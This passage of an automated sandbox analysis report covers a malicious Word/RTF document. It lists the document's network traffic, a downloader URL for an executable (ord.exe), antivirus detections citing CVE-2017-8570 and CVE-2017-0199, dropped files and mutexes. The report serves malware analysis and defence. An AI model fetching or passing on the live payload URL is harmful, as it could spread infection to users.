  588. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa3\\xba\\x8f\\xa8\\x01!\\xd7\\x17\\x91g\\xa3\\xf0\\xabc\\xc5\\xcd\\xef\\xed\\xf4\\xa5\\x15\\xd5\\x0b\\x1bh(\\x0b\\x96(\\xc4\\xa4w\\xa7\\x89\\x15\\xc7\\xaehj\\xb0\\x80\\xc2\\xfd\\xdb\\x8a\\xdc?\\xb2\\xce+\\xd5\\xe9\\x93\\xeaq\\x02u!\"\\xb7\\x91t-\\xa5\\xd7zw<\\x0b\\x08.\\xca|3\\xc8\\x8a4c\\xbf>\\xc4\\x10u%\\xc9\\x99\n\\xd3\\xa0qv\\x9c\\xc8s\\x0c\\x80\\xa3\\xf0\\xed\\xfdh$\\x1f\\x9e\\xb8\\xc2\\xc7\\x8a^b+w\\x15\\xd6b`*\\xb9\\x9b\\x9b'7\\x8c_\\x9f\\xf7\\xc1v\\xe0nh\\xfaa\\xdb\\x0b+=e\\xa1\\x9c\\xae\\x0b\\x90>\\xf1\\xf1\\xf6/a\\x84\\xe0\\x943\\x82\\x90\\x82\\xc8\\xd8=$\\xf1\\\\xedk\\xad\\x7f\\xa86\\x80~x\\xceu\\xee\\xa6\\x0bv\\x88:u\\x82\\x9a\\xa4=\\xf9az\\xb6\\xe2\\xd7\\x90\\x83\\xb4\\xd7?\\x8b\\xa8w\\xc7\\x10\\xb8\\x18\\xdc\\xc0:\\xe9;i~f\\x1f\\xca\\xba>\\xc4\t\\x0cb)\\xda#\\xd8\\xc65?h\\x01\\xc8\\xe5\"5z\\xad\\x11\\xcb'\\xa1ez\n\\x929\\xf4y\\xa1\\xa5\\xb46"
  589.  
  590.  
  591. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xba\\xc1q\\xb5\\xe8\\x89\\x80j\\xe4\\x82d\\x0e4\\x0f\\xde&\\xb8\\xba\\xa7`\\xbcr\\xb64\\xc4(\\x193\\xabn\\xc7'\\xdc\\xc9\\xa3\\xb2\\x19)\\x816\\x19\\xa1\\xf3\\xda\\xbfk\\xb5(\\xdd\\xef\\x86:\\xe5f\\xef\\x91<\\x1a\\xbah\\x04|^)\\xe7\\xf6\\xf1usz\\xb1\\xd7\\x02\\x8a\\xce\\x00x?\\x89\\xb3<a\\xa6\\x00\\xd6\\x83\n\\xa1\\xd8\\xb4f\\x02v\\x0clw\\xf6\\xd0c\\xac(\\x88l\\x1d\\xa7\\x0bk\\xdd\\x92,\\x9fw\\x12p\\xca\\x9f\\xef\\xb5@\\x1e\\xd8gtp\\xad\\x8bfj\\x13f(+2\\xa2\\x92\\xde?\\xf5u\\xda\\xf1*\\x86k\\xe5\\xd4z\\x14\\xa7\\x85\\xf7\\xd2\\xf6\\xd1\\x1c\\x8ef\\xfe\\x9fnx\\x90\\x07\\x95\\x1a\\xccw\\x93\\x88\\x99y\\xe7\\xd9\\xf0u\\x00\\x05\\xe3\\xbe!s\\x13\\xc6\\xadx\\xf7\\xb9t\\x9f\\x83y\\xb1w\\xa8\\xfc\\xb96\\xca\\x85bk\\x9f\\xf2c\\xbb\\xf1\\xe6pv\\xbb!e\\xba\\x80\\x8a\\xe6\\x9c\\x80s5\\xa6\\xa9\\x14+q\\xca\\xc2\n+\\xb2\\x818u\\xbb\\x86\\;\\x893\\xb54\\xf9%k\\xf0k\\xd1\\x08e"
  592.  
  593.  
  594. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe3\\xffg\"\\xd8t\\xb3\\x88\"\r\\x07\\x96\\xb7m\\xd5n\\x9e\\x86v\\xa4\\x0c\\xdb\\xecr\\x1c\\xf0\\xeca\\x7f\\x80\\xf4\\x1f\\xb4\\x14\\x13g\\xf9\\xc5\\x8b\\xa30\\xf1s\\x19\\x843c\\xae\\xf4\\xe2\\x9c\\xcf\\xb0q\\xe9+o\\xbah\\xb8\"\\xd1\\xa9*\\x15z\\xdd\\x84\\x0b\\xe0&\\xd9\\x87\\xe9e\\xe5x\\xd7\\xa5\\x13^cmk\\x11\\xfc<\\xedz\\xa8\\x83j$\\xbe\\x15\\xb2\\xb7~l#5i\\xcf\\x04\\x16\\x1a\\x83\\x18\\xea|\\xb3\\xf8\\xd1\\xd3\\xa5h\\xfd8o\\xd7\\xb8w\\xd6\\xa3#\\x9b*\\x07b\\xa90\\x92\"\\xa0p\\xb9*\\xe5\\x1cn=\\x7f\\xe7\\xfe\\xca\\x94\\x1e\\x16\\x83\\xcc\\x99\\x87\\x08\\x85\\xefq\\xd2o\\x02\\x16\\x9a.i\\x84ha\\x8c\\xb6\\xab\\xbd\\xbe(\\xff\\x13ux8\\x92\\x01v.\\x9e~\\xb7,\\xaeh#k\\x87\\xb4$\"\\x15\\x07\\xf1\\xcdh:\\xdc\\xdf\\xadkm\\x85z\\xf4\\x1c\\xd4\\x08\\x83\\xa8kyxf\\xbd\\xbbq\\xaa\\x98z\\x8161\\x1f;\\xe9\\xe5\"\\x93\\x18\\xe7\\xa1a\\xed\\xa2\\xea\\xc6\\x14\\xdby\\x04\\xfe\\xe2.\\xf5\\x89"
  595.  
  596.  
  597. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x81s\\xbe\\x17>\\xb3\\x0f\\x15\\xff\\x9b\\xa9-p\\xe3r\\xc4\\xce>=dz5\\xf4\\x12\\x8f.\\x9e<\\x1c\\x99\\xc4\\xbdcf\\xa7\\x00\\xfc\\xc3qb\\xd0-\\xda9\\x12\\xd83p^\\xf31\\x10vi\\xdd)\\x8e\\x87\\xd7\\x0b\\x9c\\x829g\\xb8um_\\xc8\\x8c\\x9d\\xae#\\x7f\\xa2\\x96\\x9a\\xdd\\xec\\xbbr\\xc0\\xfe\\xe6\\xd8\\x18\\x1cc\\x1c\\xffo\\x0b\\xad\\x07:\\xa7 5\\x1a\\x19\\xb0\\xa8\\x9d\\x1dv\\xe9o\\xd3\\x10:_\\xcc\\xdb\\xean\\xf1_\\x02lf`\\xa3\\xaf\\xe2\\xdac\\xe5\\xa6\\x98\\xcf?\\x89\\xc02\\xe2\\xc5\\x01m\\x15\\x9eba\\x8b\\x87\\x88\\xd0\\x91'n*d\\xf6omk\\xef\\x9fzy,s\\xe0,0\"\\xc3o\\x9a\\xf5^\\xc3`b\\xef\\x95%\\xf1\\x8f\\x02t\\xfcbk\\xfar\\xcf\\xd36s#\\xadj1z\\x8aa3\\x0c\\x1f\\x9e\\xa6\\x92\\x06\n\\x1c&\\x82\\xb2\\xa7\t\\xba\\xad\\xa0\\x92\\x86\\xb8\\xbc\\xe4lw\\x15@;\\xc8$\\xcf\n\\xbe\\xf2\\xf8a2\\x91v\\xb2ry\\xdc\\x1b\\xb8\\xdd\\x0e\t\\x82"
  598.  
  599.  
  600. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb9a\\xf5\\x88k3@\\xa6 %h\\xc6\\xec\t\tk\\xd0\\xf1=\\xe4d\\x9b\\xceh2\r\\xfe\\x16\\x9ab\\xcb?\\xb2_n\\x9e\\x8b\\xaadw`8v|\\xd4\\xcf#\\xc87g3\\x95-:\\x939i\\x9b\\xb2\\xcb\\xcc)<\\xbd\\x9d\\x1a\\x03\\x92\\x16\\xd3\\x17\\xfe\\xe3\\xfc\\xf0b\\xce\\xf6\\x85f8p;\\xad*\\xcfrm.\\xf7\\xabfq\\xfe\\xaa\\xfa\\xa9\\xc7\\xb6\\x88\\x93\\x89\\xa90\\x0cm\\x03vucm\\xde\\x91\\xa1\\xa2:\\xfb8\\x1b\\x9e\nv\\xdes\\xa7\\xf8\\xc5\\x06\\xf8\\xbe\\x01\\xfdvy\\xfa\\xf3=l\\xec\\xf4\\x1a\\xec\\x9f1\\x80i\\xa2\\x1ad?\\xe2\\x15\\xe3\\xcd\\xe6\\xc4\\x0c\\xd3\\x06\\xac\\xb8n\\xc0\\x10i\\xf7\\xb9\\xd9`\\x05\\xe4\\xf7\n\\xac\\x1b\r\\xee\\x7f\\x0e^\\x04\\x8b\\xb3\\xb7\\xa08k\\x01\\xb2j\\xcf\\x0e0>&rz\\xd8^\\x0c\\xf7\\xa0\\xe8\\xfcg_\\xa1/\\xd7\\xf3\\x054\\xfb\\xbd.\\x88*\\x18_\\xd1\\x87!<\\xe5`^\\x89\\x92\\xdd\\xd48\\x88^ \\x9b\\x94'\\xcc!\\xb5<p\\x13|1\\x95"
  601.  
  602.  
  603. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010hp\\x12\\xefs\\x16\\xcd\\xdd\\x1c\\xb9\\x81\\x9b>\\x15,\\xf9\\x00`&s\\x1a\\x1e\\xc9\\xac\\x01\\xb6\\xaf+\\xa6i\\x12\\xe6\\x8d+\\x8d\\xd7\\x80\\x97\\x19\\x865\\xda\\x7f\\xb8&\\x944s\\xbd\\xe6w=\\xf7u<\\xb4\\x05\\x86e\\x9a\\x00-?\\xb2o\\xdd\\x8f5\\xdbq\\xa85\\x8cg\\x7f\\x9a\\xea\\x84u\\x05\\xd9\\xeb\\xfc\\xfc1\\x07k\\x1f\\x9b\\xc9\\x8ej\\xb0\\x7f\\x1fe\\xe3\\\\x9eh\\xcbr\\x13\\xa4x\\x15\\xc5\\x1f\\x16\\x99\\xd1\nm:\\xdb\\xad\\x0c\\x1aku\\xf7\tj\\x83\\x19:\\x99\\xdd\\xa0\\x02\\x01\\`\\x0bn\\x9bn\\xaf|\\x83\\xecc\\x11\\xd8g\\xc2c\\xc8\\xae\\xdb\\xf0\\xfb\\x9b\\xd8\\xa8\\xf0\\xd2-4\\xf7k\\xfc\\xac\\x8b\\xb89\\xa9\\x92c\\x86\\x8d\\xac\\x11\\xf1\\x84\\x91\\x1c\t\\xf7\\x7f\\x13\\x0fy\\xf5\\xc8\\xfc_0\\x1d\\x134\\xdd\\x81sc\\x10\\x86qp\\xbc#gfo\\x15'e\\x1bu\\xda\\x94+o\\xba\\x9f$*(\\x87(t\\xb7\\xc9\\x84o,\\xd6\\xeb\\x98\\x86\\x14f\\x87\\xf4\\x99\\xff\\x13\\xd1b\\x9e\\x07\\xcd|\\xbdy\\x8dh\\x9c&"
  604.  
  605.  
  606. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82\\xd2\\xbb\\xf3(\\x0f\\x98t\\xf4$,\\xd0\\x15\\x17f5\\x86\\x0f\\xb2\\x91l\\xc7\rm\\xe9z\\xdd7\\x0b\\xaf,\\xfe\\xca\\x1d\\x12\\xca>\\\\x98\\xb1\\xf8\\xa9\\xbd\\xa4sp\\xa6\\xd4\\x02\\x88$\\x19\\xb0@\\xb2\\x9epv0\\xcf\\x9db\\xb1\\xfc\\xd8\\xbc\\xcf\\xe1\\x19n\\x07<\\x17\\xe5\\x9e\\x1c/y\\xdf\\xe2\\xf4oa\\x04\\x8cuq\\xeb\\xfbpy\\x8a\\x80\\x84\\xf9>\\x16\\x04\\x9c<\\xd0ire\\xc68&\\x19>\\xa3s\\x9c\\xa4\\xe5\\xde\\xf4\\xebv$\\x1f\\xe9/\\x08\\xbf0p\\x12\\x06\\xac\\xf1w\\xfd\\xc5\\x80\\x02\\xcd>^\\xedw\\xbe\\xde\\x0b\\xed\\xd6\\xbe\\xb6\\xfai\\xfb\\x1a\\xfe\\xb7\\xfd\\x8b\\xf68)\\xa0\\xa9hy\r8\\xa4\\x8a\\x99+\nd\\xd4\\xcf\\x07\\xf3\\xb5\\xdf\\xa3\\x80'\\x94rj;6\\xe6\\xd8/g\\xcc\\xa9\\xd06,\\xa7\\xe6&w6\\x1czfs\n\\x16\\xdc\\x83\\x9e\\xdb\\xf9m\\xbe4$\\xb5\\xcc+r\\xc0v5y\\xc7#\\xf8\\x80\\xc8**xvli;\\xc0\\xf5\\x92k4a\\xedu\\xfde\\xc2\\x87\\x9bg"
  607.  
  608.  
  609. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010z$\\x9c\\x14\\x00\\x8a<t;\\x1dv\\x06t\\xd4id\\xdfm\\xcd\\xf7\\xcc\\xa0\\xcb*\\x11\\x00\\x02\n\\x8a\\x92\"\\x07emc\\x18@\\x9f0\\xedz`\\xd7s=\\xbc\\x8f\\xea\\x11\\x83.\\xfd\\,\\x7fz1\\xfdl5t\\xae\\xf4\\x99\\x85^\\xaf\\xf4g\\xa0\\xf7\\xb1\\xe6\\x81\\x03\\xf0\\xc9\\x93\\xbez\\xed\\xaf\\xc7\\x80(-\\xf9\\xef\\xa5t!y\\x95\\xf0\\xea\\x1d\\x8d9!\\x97\\q\\x83\\xcaf%\\xb14\\x86as\\xb2\\xc8\\xeb\\x7fs\\\\x01;\\xd8\\xbbm\\xad\\xe33\\x19\\xad\\xcf\\x96\\x9c\\x81\\x9d'/\\xc0v\\xfa33\\xce-\\x89&bzn2f|\\x96\\x82\\x9b3\\xd0\\xd9\\xe5\\xd3\\x06\\x90\\x8a\\xd02\\xd5w\\xcdy&\\xb3\\x10\\xcf>i\\xf1\\xf6\\x90\\xbfyg\\xbc\"\\x96gwq\\x15:s^\\xe2\\x07&\\xbf\\x83xq\\xbb#m\\x8e\\xba\\x13?\\xb8`k\\xaa8\\xb3\\x1a\\xf5\\xc5\\xc1\\x0ek\\xc26\\xa1v\\xd0~q\\xe3\\xca\\x03\\xachq \\xf6\\x14#\\xa3k\\x02\\x1a\\x9ff\\xca\\xd0\n\\x81\\x90\\x82ft\\xb6\\xda"
  610.  
  611.  
  612. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc3\\x01\\xb2cq\\x0e\\xdc\\xe4%\\xf1\\x07\\x02\\xc5p;\\xbf\\xc2v\\x1d\\xc9\\x13\\xf8\\xdb\\xadx\\xea\\xf8\\xb7\\xe7v\\xe3\\xce\\xfe|\\xfe\\xef<&\\xa8\\xda\r(\\xfd\\x92\\x8a\\xc6\\xdc\\x82g\\x83\\x8f@2\\xd6\\x10\\xa8\\x17\\xb5*i\\x93\\x80\\xe7\\xc0\\x8d\\xf5#\\x9e\\x8a\\xf8\\xa5e_\\xc4\\xd9\\x83\\x17i\\x9f`\\xc5\\xc8\\x81\\x04\\xba-k0\\xe4\\xec\\xb1\\xba\\xa2\\xdfs\\xd8\\xd5\\xb1b&\\x02\\xb9\\xaa\\x7f_\\xab\\x9a\\xf9\\xc0|3hw\\xa50e\\xe2\\x13\\xd8c\\x05w\\xb2\\xde\\xa5\\xbf\\xcb\\x81k+\\xa0\\xc56v\\x08\\x182af\\x87\\x16\\xbb\\x14\nsw\\x1d1\\x8f\\xcedp\\xf6\\xfd\\x83\\xcahh\\x88\\x82\\x88l\\xc8w\\x19\\xa6\\x00!\\x84*\\xc2\\xa4-\\xd3\n\\xee\\xe4\\xea$?^1v\\xbd\\x982\\x0f<~|\\xc2\n\\x80\\xb68\\x89>\\x1d\\xebz\\xe5\\x15\\xb5k\"\\x8a\\xff\\xb7\\xe5\\xda'y\\xac\\x9a\\x00\\xddtr0\\x06\\xd7r\\xb0\\xa9=b\\x11\\xbf\\xe5+\\x9d\\xbe\\xe5\\xf6pju\n$\\xd4\\xfd\\xb0l\\xc9\\xc8s\\x80\\xb8\\xd8"
  613.  
  614.  
  615. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x12\\x88\\x1bu\\xee\\xe0\\x06(|6\\xbawm\\xf5\\xb4\\xcc\\x9c\\x17e0nu\\x8b\\xf9\\xc0\\xea!\\x91\\xc9\\xac\\x8d8\\x10\\xd6#\\xc0\\xacv\\x86\\xf5u\\xc49\\x15\\xdb\\x0e6<3\\xf9 \\xcf\\xd8\\xaf\\xdd\\x97>j\\xc2\\xc7\\x18`\\xbe>\\x06\\xf6\\x0b\\xd6\\x91t\\x00\\x06\\xfd\\x82\\x9c\\x0e\\xed\\xa7)\\x9d\\x91\\x06\\x94\\xd4\\x0c\\xb9\\xa4r\\xc0!\\xc94\\x18\\xfd\\xf2\\x1e\\xbdq\\xcd\\xe5\\x05%\\xafz\\xf0ah\\xc02~p\\x9c\"\\x81e`\\x80\rq\\xf8-\\xdf\\xbc\\x8a\\xec\\xbe\\x02\\x8ax\\xdal\\x84<\\xe2-e\\x1d\\xb5b\\xa3\\xb2\\xf8g\\xa3\\xd7w\\x98snhh\\x9f\\x9e\\x88(\\xb9<\\x94\\xecb\\x95c\\x173\\x7f)\\xa7\\xde=f1\\xe9\\x9a\\x10\\x1b\\x91z\\xb5q4\\x9b\\xdfiq\\xbc42 \\x82w\\xbe\\xefp\\xb6\\x18\\xa0@nd\\x94w\\x1e\\x17\\x0f\\xc3\\xff\\x17d\\x9dg\\x17\\x08\\xc3\\xb0\\xf4|!\\xa2\\x19\\x11\\xb8\\x06\\x80u+&\\x01\\x8a\\xe2y\\xd2\\x1b\\x93f\\x0f\\x94\\xd6\\x0b/\\x93\\xbd\\x99\\x1d\\xe5i/"
  616.  
  617.  
  618. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\x91\\x90w\\x18d\\xbc\\k\\xa4\\xd2\\x13\\x7f\\x8cm\\x8b\\xea\\xb0q\\xfe\\xdf\\.\\xfeb\\x9ft\\x0e\\x89\\x04m\\xab\\xe0\\xb0\\x8b\\xcfj_\\xd4\\xbc\\xcap\\x8a\\xd5\\xea\\xd6\\x80@\\x93\\xdf\\xf0gvq\\xcbw2\\xc2d$2\\xfc\\xdcjnf\\x9e\\xac\\x85nk\\xe8\\xc5o'\\xa7g\\xfei\\x1d\r\\xa4\\xaeq+\\x15\\xe9\\x05\\x01c\\xe1\\xc8\\x02\\xac\\xedaw\\x1cr\\xa9\\xd8\\xf6\\xa1k\\xd814b7h\\xa8\\x90m\\xa2~,\\x0f\\x8e\\x99\\xf6\\x13\\xd2'y~\\xfe(\\xbc@\\xe1\\xa3/\\x9b\\xaf\\x15\\xb3\\x02\\x80\\xaau\\x0f\\x03g\\xfc\\x86\\xdaxtc\\x16tf\\xe8\\\tu\\xdf\\x9f\\xbdk\\x91`y\\xf7x_\\xc5u\\x17u\\x1d=\\x9a2\\xa3j\\x8d\\x19\\x94\\x92lq\\x93:\\x974y\\xa4\\xab>n\\x9f\\x9a\\x1a\\xbc<'\\x0e?\\x89\\x12\\xc3s\\xf0\\xf9p<\\xbb\\xaa\\x04\\x00,\\xf3\\x04^\\xba\\xc1ac\\xef\\x9f\\xa41\\x96e\\xc5%9\\xeee$l\\x9d\\xd1f\\x03.\\xc9>\\x85\\xa4\\xf5)\\x1e\\xf1po\\xa3"
  619.  
  620.  
  621. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  622.  
  623.  
  624. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  625.  
  626.  
  627.  
  628.  
  629. "Description": "Likely Malicious Office Document DL/Write EXE to disk",
  630. "Details":
  631.  
  632. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://maitrezaouiat.ma/ariwa/ord.exe"
  633.  
  634.  
  635. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/ariwa/ord.exe"
  636.  
  637.  
  638. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://maitrezaouiat.ma/ariwa/ord.exe"
  639.  
  640.  
  641. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/ariwa/ord.exe"
  642.  
  643.  
  644. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://maitrezaouiat.ma/ariwa/ord.exe"
  645.  
  646.  
  647. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/ariwa/ord.exe"
  648.  
  649.  
  650.  
  651.  
  652. "Description": "Creates a hidden or system file",
  653. "Details":
  654.  
  655. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_f52464abdc6552f646361cab0cfa6372.doc_dl_1"
  656.  
  657.  
  658. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp"
  659.  
  660.  
  661. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  662.  
  663.  
  664.  
  665.  
  666. "Description": "File has been identified by 32 Antiviruses on VirusTotal as malicious",
  667. "Details":
  668.  
  669. "MicroWorld-eScan": "VB:Trojan.Agent.EALP"
  670.  
  671.  
  672. "FireEye": "VB:Trojan.Agent.EALP"
  673.  
  674.  
  675. "CAT-QuickHeal": "Exp.RTF.CVE-2017-8570.A"
  676.  
  677.  
  678. "McAfee": "Exploit-CVE2017-8570.d"
  679.  
  680.  
  681. "Arcabit": "VB:Trojan.Agent.EALP"
  682.  
  683.  
  684. "Symantec": "Trojan.Gen.NPE"
  685.  
  686.  
  687. "ESET-NOD32": "VBS/TrojanDownloader.Agent.RPV"
  688.  
  689.  
  690. "TrendMicro-HouseCall": "Trojan.W97M.CVE20178570.SM"
  691.  
  692.  
  693. "Avast": "Other:Malware-gen Trj"
  694.  
  695.  
  696. "Kaspersky": "HEUR:Trojan.VBS.Alien.gen"
  697.  
  698.  
  699. "BitDefender": "VB:Trojan.Agent.EALP"
  700.  
  701.  
  702. "NANO-Antivirus": "Trojan.Script.Vbs-heuristic.druvzi"
  703.  
  704.  
  705. "Tencent": "Vbs.Trojan-downloader.Agent.Eawi"
  706.  
  707.  
  708. "Ad-Aware": "VB:Trojan.Agent.EALP"
  709.  
  710.  
  711. "Sophos": "Exp/20178570-G"
  712.  
  713.  
  714. "F-Secure": "Malware.VBS/Dldr.Agent.frzbu"
  715.  
  716.  
  717. "TrendMicro": "Trojan.W97M.CVE20178570.SM"
  718.  
  719.  
  720. "McAfee-GW-Edition": "Exploit-CVE2017-8570.d"
  721.  
  722.  
  723. "Emsisoft": "VB:Trojan.Agent.EALP (B)"
  724.  
  725.  
  726. "Cyren": "JS/Downldr.QN!Eldorado"
  727.  
  728.  
  729. "Avira": "VBS/Dldr.Agent.frzbu"
  730.  
  731.  
  732. "MAX": "malware (ai score=80)"
  733.  
  734.  
  735. "Microsoft": "Trojan:Win32/Sonbokli.A!cl"
  736.  
  737.  
  738. "ZoneAlarm": "HEUR:Exploit.MSOffice.Generic"
  739.  
  740.  
  741. "GData": "VB:Trojan.Agent.EALP"
  742.  
  743.  
  744. "ALYac": "VB:Trojan.Agent.EALP"
  745.  
  746.  
  747. "Zoner": "Probably RTFObfuscationD"
  748.  
  749.  
  750. "Rising": "Exploit.CVE-2017-8570!1.AFC6 (CLASSIC:E0:gEoLiHMJ8HN)"
  751.  
  752.  
  753. "Ikarus": "Exploit.CVE-2017-8570"
  754.  
  755.  
  756. "Fortinet": "VBS/Agent.JURO!tr.dldr"
  757.  
  758.  
  759. "AVG": "Other:Malware-gen Trj"
  760.  
  761.  
  762. "Qihoo-360": "susp.rtf.objupdate.gen"
  763.  
  764.  
  765.  
  766.  
  767. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  768. "Details":
  769.  
  770. "dropped": "clamav:Rtf.Exploit.CVE_2017_0199-6231737-0, sha256:1630cbf57d7be6fa71eac3e786bbdf7aff802a7767740df6c17ed586fa2cd53f , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\RTF_f52464abdc6552f646361cab0cfa6372.doc_dl_1, type:Rich Text Format data, version 1, unknown character set"
  771.  
  772.  
  773.  
  774.  
  775. "Description": "Created network traffic indicative of malicious activity",
  776. "Details":
  777.  
  778. "signature": "ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile"
  779.  
  780.  
  781.  
  782.  
  783.  
  784. * Started Service:
  785. "osppsvc"
  786.  
  787.  
  788. * Mutexes:
  789. "Local\\!IETld!Mutex",
  790. "Local\\c:!users!user!appdata!roaming!microsoft!windows!ietldcache!",
  791. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  792. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  793. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  794. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  795. "CicLoadWinStaWinSta0",
  796. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  797. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
  798. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  799. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  800. "Local\\WinSpl64To32Mutex_1cec0_0_3000"
  801.  
  802.  
  803. * Modified Files:
  804. "C:\\Users\\user\\AppData\\Local\\Temp\\RTF_f52464abdc6552f646361cab0cfa6372.doc_dl_1",
  805. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_f52464abdc6552f646361cab0cfa6372.doc_dl_1",
  806. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFAC1B4B79-325C-4720-A1BD-72D99D051AD6.tmp",
  807. "C:\\Users\\user\\AppData\\Local\\Temp\\Abctfhghghghghg.sct",
  808. "\\??\\PIPE\\srvsvc",
  809. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat",
  810. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  811. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSA141D279-C1D7-4609-A498-2EB7CD764014.tmp",
  812. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS2BE47EE7-C466-4DD1-B0B0-8E2E787D7852.tmp",
  813. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\3BC05A48.png",
  814. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  815. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  816. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  817. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  818. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab838E.tmp",
  819. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar839F.tmp",
  820. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  821. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex",
  822. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_f52464abdc6552f646361cab0cfa6372.asd",
  823. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  824. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  825. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF2067FA08C613703D.TMP",
  826. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA1D6.tmp",
  827. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA30F.tmp",
  828. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  829. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  830. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA5DF.tmp",
  831. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA5E0.tmp",
  832. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  833. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA610.tmp",
  834. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA611.tmp",
  835. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA641.tmp\\APASixthEditionOfficeOnline.xsl",
  836. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA641.tmp\\Content.inf",
  837. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  838. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA6EE.tmp",
  839. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA6EF.tmp",
  840. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA71F.tmp\\HexagonRadial.glox",
  841. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA71F.tmp\\Content.inf",
  842. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
